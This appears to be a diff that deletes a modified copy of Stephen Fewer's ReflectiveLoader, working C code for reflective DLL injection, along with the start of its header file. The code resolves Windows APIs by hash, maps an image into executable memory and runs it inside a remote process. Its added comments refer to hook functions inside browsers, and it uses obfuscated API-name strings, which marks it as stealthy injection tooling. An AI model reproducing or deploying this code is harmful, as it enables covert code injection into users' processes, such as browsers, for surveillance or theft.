NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
|
|
||||||
#ifdef WIN_X64
|
|
||||||
FARPROC pRtlAddFunctionTable = NULL;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
USHORT usCounter;
|
|
||||||
|
|
||||||
// the initial location of this image in memory
|
|
||||||
ULONG_PTR uiLibraryAddress;
|
|
||||||
// the kernels base address and later this images newly loaded base address
|
|
||||||
ULONG_PTR uiBaseAddress;
|
|
||||||
|
|
||||||
// variables for processing the kernels export table
|
|
||||||
ULONG_PTR uiAddressArray;
|
|
||||||
ULONG_PTR uiNameArray;
|
|
||||||
ULONG_PTR uiExportDir;
|
|
||||||
ULONG_PTR uiNameOrdinals;
|
|
||||||
DWORD dwHashValue;
|
|
||||||
|
|
||||||
// variables for loading this image
|
|
||||||
ULONG_PTR uiHeaderValue;
|
|
||||||
ULONG_PTR uiValueA;
|
|
||||||
ULONG_PTR uiValueB;
|
|
||||||
ULONG_PTR uiValueC;
|
|
||||||
ULONG_PTR uiValueD;
|
|
||||||
ULONG_PTR uiValueE;
|
|
||||||
|
|
||||||
// STEP 0: calculate our images current base address
|
|
||||||
|
|
||||||
// we will start searching backwards from our callers return address.
|
|
||||||
uiLibraryAddress = caller();
|
|
||||||
|
|
||||||
// loop through memory backwards searching for our images base address
|
|
||||||
// we dont need SEH style search as we shouldnt generate any access violations with this
|
|
||||||
while (TRUE)
|
|
||||||
{
|
|
||||||
if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
|
|
||||||
{
|
|
||||||
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
|
||||||
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
|
|
||||||
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
|
|
||||||
if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
|
|
||||||
{
|
|
||||||
uiHeaderValue += uiLibraryAddress;
|
|
||||||
// break if we have found a valid MZ/PE header
|
|
||||||
if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
uiLibraryAddress--;
|
|
||||||
}
|
|
||||||
|
|
||||||
// STEP 1: process the kernels exports for the functions our loader needs...
|
|
||||||
|
|
||||||
// get the Process Enviroment Block
|
|
||||||
#ifdef WIN_X64
|
|
||||||
uiBaseAddress = __readgsqword(0x60);
|
|
||||||
#else
|
|
||||||
#ifdef WIN_X86
|
|
||||||
uiBaseAddress = __readfsdword(0x30);
|
|
||||||
#else WIN_ARM
|
|
||||||
uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
|
|
||||||
#endif
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
|
|
||||||
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
|
|
||||||
|
|
||||||
// get the first entry of the InMemoryOrder module list
|
|
||||||
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
|
|
||||||
while (uiValueA)
|
|
||||||
{
|
|
||||||
// get pointer to current modules name (unicode string)
|
|
||||||
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
|
|
||||||
// set bCounter to the length for the loop
|
|
||||||
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
|
|
||||||
// clear uiValueC which will store the hash of the module name
|
|
||||||
uiValueC = 0;
|
|
||||||
|
|
||||||
// compute the hash of the module name...
|
|
||||||
do
|
|
||||||
{
|
|
||||||
uiValueC = ror((DWORD)uiValueC);
|
|
||||||
// normalize to uppercase if the madule name is in lowercase
|
|
||||||
if (*((BYTE*)uiValueB) >= 'a')
|
|
||||||
uiValueC += *((BYTE*)uiValueB) - 0x20;
|
|
||||||
else
|
|
||||||
uiValueC += *((BYTE*)uiValueB);
|
|
||||||
uiValueB++;
|
|
||||||
} while (--usCounter);
|
|
||||||
|
|
||||||
// compare the hash with that of kernel32.dll
|
|
||||||
if ((DWORD)uiValueC == KERNEL32DLL_HASH)
|
|
||||||
{
|
|
||||||
// get this modules base address
|
|
||||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
|
||||||
|
|
||||||
// get the VA of the modules NT Header
|
|
||||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
|
||||||
|
|
||||||
// uiNameArray = the address of the modules export directory entry
|
|
||||||
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
|
||||||
|
|
||||||
// get the VA of the export directory
|
|
||||||
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
|
||||||
|
|
||||||
// get the VA for the array of name pointers
|
|
||||||
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
|
|
||||||
|
|
||||||
// get the VA for the array of name ordinals
|
|
||||||
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
|
|
||||||
|
|
||||||
usCounter = 3;
|
|
||||||
|
|
||||||
// loop while we still have imports to find
|
|
||||||
while (usCounter > 0)
|
|
||||||
{
|
|
||||||
// compute the hash values for this function name
|
|
||||||
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
|
|
||||||
|
|
||||||
// if we have found a function we want we get its virtual address
|
|
||||||
if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
|
|
||||||
{
|
|
||||||
// get the VA for the array of addresses
|
|
||||||
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
|
||||||
|
|
||||||
// use this functions name ordinal as an index into the array of name pointers
|
|
||||||
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
|
|
||||||
|
|
||||||
// store this functions VA
|
|
||||||
if (dwHashValue == LOADLIBRARYA_HASH)
|
|
||||||
pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
|
|
||||||
else if (dwHashValue == GETPROCADDRESS_HASH)
|
|
||||||
pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
|
|
||||||
else if (dwHashValue == VIRTUALALLOC_HASH)
|
|
||||||
pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
|
|
||||||
|
|
||||||
// decrement our counter
|
|
||||||
usCounter--;
|
|
||||||
}
|
|
||||||
|
|
||||||
// get the next exported function name
|
|
||||||
uiNameArray += sizeof(DWORD);
|
|
||||||
|
|
||||||
// get the next exported function name ordinal
|
|
||||||
uiNameOrdinals += sizeof(WORD);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if ((DWORD)uiValueC == NTDLLDLL_HASH)
|
|
||||||
{
|
|
||||||
// get this modules base address
|
|
||||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
|
||||||
|
|
||||||
// get the VA of the modules NT Header
|
|
||||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
|
||||||
|
|
||||||
// uiNameArray = the address of the modules export directory entry
|
|
||||||
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
|
||||||
|
|
||||||
// get the VA of the export directory
|
|
||||||
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
|
||||||
|
|
||||||
// get the VA for the array of name pointers
|
|
||||||
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
|
|
||||||
|
|
||||||
// get the VA for the array of name ordinals
|
|
||||||
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
|
|
||||||
|
|
||||||
usCounter = 1;
|
|
||||||
|
|
||||||
// loop while we still have imports to find
|
|
||||||
while (usCounter > 0)
|
|
||||||
{
|
|
||||||
// compute the hash values for this function name
|
|
||||||
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
|
|
||||||
|
|
||||||
// if we have found a function we want we get its virtual address
|
|
||||||
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
|
|
||||||
{
|
|
||||||
// get the VA for the array of addresses
|
|
||||||
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
|
||||||
|
|
||||||
// use this functions name ordinal as an index into the array of name pointers
|
|
||||||
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
|
|
||||||
|
|
||||||
// store this functions VA
|
|
||||||
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
|
|
||||||
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
|
|
||||||
|
|
||||||
// decrement our counter
|
|
||||||
usCounter--;
|
|
||||||
}
|
|
||||||
|
|
||||||
// get the next exported function name
|
|
||||||
uiNameArray += sizeof(DWORD);
|
|
||||||
|
|
||||||
// get the next exported function name ordinal
|
|
||||||
uiNameOrdinals += sizeof(WORD);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// we stop searching when we have found everything we need.
|
|
||||||
if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
|
|
||||||
break;
|
|
||||||
|
|
||||||
// get the next entry
|
|
||||||
uiValueA = DEREF(uiValueA);
|
|
||||||
}
|
|
||||||
|
|
||||||
#ifdef WIN_X64
|
|
||||||
// Resolve RtlAddFunctionTable so we can register exception unwind data.
|
|
||||||
// Without this, stack unwinding through our hook functions crashes browsers.
|
|
||||||
{
|
|
||||||
HMODULE hNtdll = (HMODULE)pLoadLibraryA(OBFS(_enc_ntdll_dll));
|
|
||||||
if (hNtdll)
|
|
||||||
pRtlAddFunctionTable = pGetProcAddress(hNtdll, OBFS(_enc_RtlAddFunctionTable));
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// STEP 2: load our image into a new permanent location in memory...
|
|
||||||
|
|
||||||
// get the VA of the NT Header for the PE to be loaded
|
|
||||||
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
|
||||||
|
|
||||||
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
|
|
||||||
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
|
|
||||||
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
||||||
|
|
||||||
// Guard against allocation failure (out-of-memory, ACG/CFG policy, etc.).
|
|
||||||
// Without this check, every subsequent write to uiBaseAddress would be a
|
|
||||||
// write through NULL — an access violation in the remote process.
|
|
||||||
if (!uiBaseAddress)
|
|
||||||
return 0;
|
|
||||||
|
|
||||||
// we must now copy over the headers
|
|
||||||
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
|
|
||||||
uiValueB = uiLibraryAddress;
|
|
||||||
uiValueC = uiBaseAddress;
|
|
||||||
|
|
||||||
while (uiValueA--)
|
|
||||||
*(BYTE*)uiValueC++ = *(BYTE*)uiValueB++;
|
|
||||||
|
|
||||||
// STEP 3: load in all of our sections...
|
|
||||||
|
|
||||||
// uiValueA = the VA of the first section
|
|
||||||
uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
|
|
||||||
|
|
||||||
// itterate through all sections, loading them into memory.
|
|
||||||
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
|
|
||||||
while (uiValueE--)
|
|
||||||
{
|
|
||||||
// uiValueB is the VA for this section
|
|
||||||
uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
|
|
||||||
|
|
||||||
// uiValueC if the VA for this sections data
|
|
||||||
uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
|
|
||||||
|
|
||||||
// copy the section over
|
|
||||||
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
|
|
||||||
|
|
||||||
while (uiValueD--)
|
|
||||||
*(BYTE*)uiValueB++ = *(BYTE*)uiValueC++;
|
|
||||||
|
|
||||||
// get the VA of the next section
|
|
||||||
uiValueA += sizeof(IMAGE_SECTION_HEADER);
|
|
||||||
}
|
|
||||||
|
|
||||||
// STEP 4: process our images import table...
|
|
||||||
|
|
||||||
// uiValueB = the address of the import directory
|
|
||||||
uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
|
||||||
|
|
||||||
// we assume their is an import table to process
|
|
||||||
// uiValueC is the first entry in the import table
|
|
||||||
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
|
|
||||||
|
|
||||||
// itterate through all imports
|
|
||||||
while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
|
|
||||||
{
|
|
||||||
// use LoadLibraryA to load the imported module into memory
|
|
||||||
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
|
|
||||||
|
|
||||||
// uiValueD = VA of the OriginalFirstThunk
|
|
||||||
uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
|
|
||||||
|
|
||||||
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
|
|
||||||
uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
|
|
||||||
|
|
||||||
// itterate through all imported functions, importing by ordinal if no name present
|
|
||||||
while (DEREF(uiValueA))
|
|
||||||
{
|
|
||||||
// sanity check uiValueD as some compilers only import by FirstThunk
|
|
||||||
if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
|
|
||||||
{
|
|
||||||
// get the VA of the modules NT Header
|
|
||||||
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
|
||||||
|
|
||||||
// uiNameArray = the address of the modules export directory entry
|
|
||||||
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
|
||||||
|
|
||||||
// get the VA of the export directory
|
|
||||||
uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
|
||||||
|
|
||||||
// get the VA for the array of addresses
|
|
||||||
uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
|
||||||
|
|
||||||
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
|
||||||
uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
|
|
||||||
|
|
||||||
// patch in the address for this imported function
|
|
||||||
DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
// get the VA of this functions import by name struct
|
|
||||||
uiValueB = (uiBaseAddress + DEREF(uiValueA));
|
|
||||||
|
|
||||||
// use GetProcAddress and patch in the address for this imported function
|
|
||||||
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
|
|
||||||
}
|
|
||||||
// get the next imported function
|
|
||||||
uiValueA += sizeof(ULONG_PTR);
|
|
||||||
if (uiValueD)
|
|
||||||
uiValueD += sizeof(ULONG_PTR);
|
|
||||||
}
|
|
||||||
|
|
||||||
// get the next import
|
|
||||||
uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
|
|
||||||
}
|
|
||||||
|
|
||||||
// STEP 5: process all of our images relocations...
|
|
||||||
|
|
||||||
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
|
||||||
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
|
|
||||||
|
|
||||||
// uiValueB = the address of the relocation directory
|
|
||||||
uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
|
||||||
|
|
||||||
// check if their are any relocations present
|
|
||||||
if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
|
|
||||||
{
|
|
||||||
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
|
|
||||||
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
|
|
||||||
|
|
||||||
// and we itterate through all entries...
|
|
||||||
while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
|
|
||||||
{
|
|
||||||
// uiValueA = the VA for this relocation block
|
|
||||||
uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
|
|
||||||
|
|
||||||
// uiValueB = number of entries in this relocation block
|
|
||||||
uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
|
|
||||||
|
|
||||||
// uiValueD is now the first entry in the current relocation block
|
|
||||||
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
|
|
||||||
|
|
||||||
// we itterate through all the entries in the current block...
|
|
||||||
while (uiValueB--)
|
|
||||||
{
|
|
||||||
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
|
|
||||||
// we dont use a switch statement to avoid the compiler building a jump table
|
|
||||||
// which would not be very position independent!
|
|
||||||
if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
|
|
||||||
*(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
|
|
||||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
|
|
||||||
*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
|
|
||||||
#ifdef WIN_ARM
|
|
||||||
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
|
|
||||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
|
|
||||||
{
|
|
||||||
register DWORD dwInstruction;
|
|
||||||
register DWORD dwAddress;
|
|
||||||
register WORD wImm;
|
|
||||||
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
|
|
||||||
dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
|
|
||||||
// flip the words to get the instruction as expected
|
|
||||||
dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
|
|
||||||
// sanity chack we are processing a MOV instruction...
|
|
||||||
if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
|
|
||||||
{
|
|
||||||
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
|
|
||||||
wImm = (WORD)(dwInstruction & 0x000000FF);
|
|
||||||
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
|
|
||||||
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
|
|
||||||
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
|
|
||||||
// apply the relocation to the target address
|
|
||||||
dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
|
|
||||||
// now create a new instruction with the same opcode and register param.
|
|
||||||
dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
|
|
||||||
// patch in the relocated address...
|
|
||||||
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
|
|
||||||
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
|
|
||||||
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
|
|
||||||
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
|
|
||||||
// now flip the instructions words and patch back into the code...
|
|
||||||
*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
|
|
||||||
*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
|
|
||||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
|
|
||||||
*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
|
|
||||||
|
|
||||||
// get the next entry in the current relocation block
|
|
||||||
uiValueD += sizeof(IMAGE_RELOC);
|
|
||||||
}
|
|
||||||
|
|
||||||
// get the next entry in the relocation directory
|
|
||||||
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// STEP 5b: register exception function table (.pdata) with the OS.
|
|
||||||
// Reflective loading bypasses the normal loader which would do this via
|
|
||||||
// LdrpInsertDataTableEntry. Without registration, any exception that
|
|
||||||
// unwinds through our hook functions causes STATUS_ACCESS_VIOLATION.
|
|
||||||
#ifdef WIN_X64
|
|
||||||
if (pRtlAddFunctionTable)
|
|
||||||
{
|
|
||||||
PIMAGE_NT_HEADERS pLoadedNtHdrs = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
|
|
||||||
if (pLoadedNtHdrs->OptionalHeader.NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_EXCEPTION)
|
|
||||||
{
|
|
||||||
PIMAGE_DATA_DIRECTORY pExcDir = &pLoadedNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
|
|
||||||
if (pExcDir->VirtualAddress && pExcDir->Size)
|
|
||||||
{
|
|
||||||
typedef BOOLEAN(NTAPI* RTLADDFNTABLE)(PRUNTIME_FUNCTION, DWORD, DWORD64);
|
|
||||||
((RTLADDFNTABLE)pRtlAddFunctionTable)(
|
|
||||||
(PRUNTIME_FUNCTION)(uiBaseAddress + pExcDir->VirtualAddress),
|
|
||||||
pExcDir->Size / sizeof(RUNTIME_FUNCTION),
|
|
||||||
(DWORD64)uiBaseAddress
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// STEP 6: call our images entry point
|
|
||||||
|
|
||||||
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
|
|
||||||
uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
|
|
||||||
|
|
||||||
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
|
|
||||||
// Guard against pNtFlushInstructionCache being NULL (e.g. if ntdll was not found in the PEB module list).
|
|
||||||
if (pNtFlushInstructionCache)
|
|
||||||
pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
|
|
||||||
|
|
||||||
// call our respective entry point, fudging our hInstance value
|
|
||||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
|
||||||
// Store the parameter globally so DllMain can access it
|
|
||||||
g_lpReflectiveParameter = lpParameter;
|
|
||||||
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
|
|
||||||
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
|
|
||||||
#else
|
|
||||||
// if we are injecting an DLL via a stub we call DllMain with no parameter
|
|
||||||
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
|
|
||||||
return uiValueA;
|
|
||||||
}
|
|
||||||
//===============================================================================================//
|
|
||||||
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
|
||||||
|
|
||||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
|
||||||
{
|
|
||||||
BOOL bReturnValue = TRUE;
|
|
||||||
switch (dwReason)
|
|
||||||
{
|
|
||||||
case DLL_QUERY_HMODULE:
|
|
||||||
if (lpReserved != NULL)
|
|
||||||
*(HMODULE*)lpReserved = hAppInstance;
|
|
||||||
break;
|
|
||||||
case DLL_PROCESS_ATTACH:
|
|
||||||
hAppInstance = hinstDLL;
|
|
||||||
break;
|
|
||||||
case DLL_PROCESS_DETACH:
|
|
||||||
case DLL_THREAD_ATTACH:
|
|
||||||
case DLL_THREAD_DETACH:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
return bReturnValue;
|
|
||||||
}
|
|
||||||
|
|
||||||
#endif
|
|
||||||
//===============================================================================================//
|
|
||||||
@@ -1,215 +0,0 @@
|
|||||||
//===============================================================================================//
|
|
||||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
|
||||||
// All rights reserved.
|
|
||||||
//
|
|
||||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
|
||||||
// provided that the following conditions are met:
|
|
||||||
//
|
|
||||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
|
||||||
// conditions and the following disclaimer.
|
|
||||||
//
|
|
||||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
|
||||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
|
||||||
// with the distribution.
|
|
||||||
//
|
|
||||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
|
||||||
// endorse or promote products derived from this software without specific prior written permission.
|
|
||||||
//
|
|
||||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
|
||||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
|
||||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
|
||||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
|
||||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
|
||||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
|
||||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
|
||||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
|
||||||
// POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
//===============================================================================================//
|
|
||||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
|
||||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
|
||||||
//===============================================================================================//
|
|
||||||
#define WIN32_LEAN_AND_MEAN
|
|
||||||
#include <winsock2.h>
|
|
||||||
#include <windows.h>
|
|
||||||
|
|
||||||
#ifdef _MSC_VER
|
|
||||||
#include <intrin.h>
|
|
||||||
#else
|
|
||||||
// MinGW/GCC: _rotr lives in <stdlib.h>, __readgsqword in <intrin.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <intrin.h>
|
|
||||||
#endif
|
|
||||||
|
|
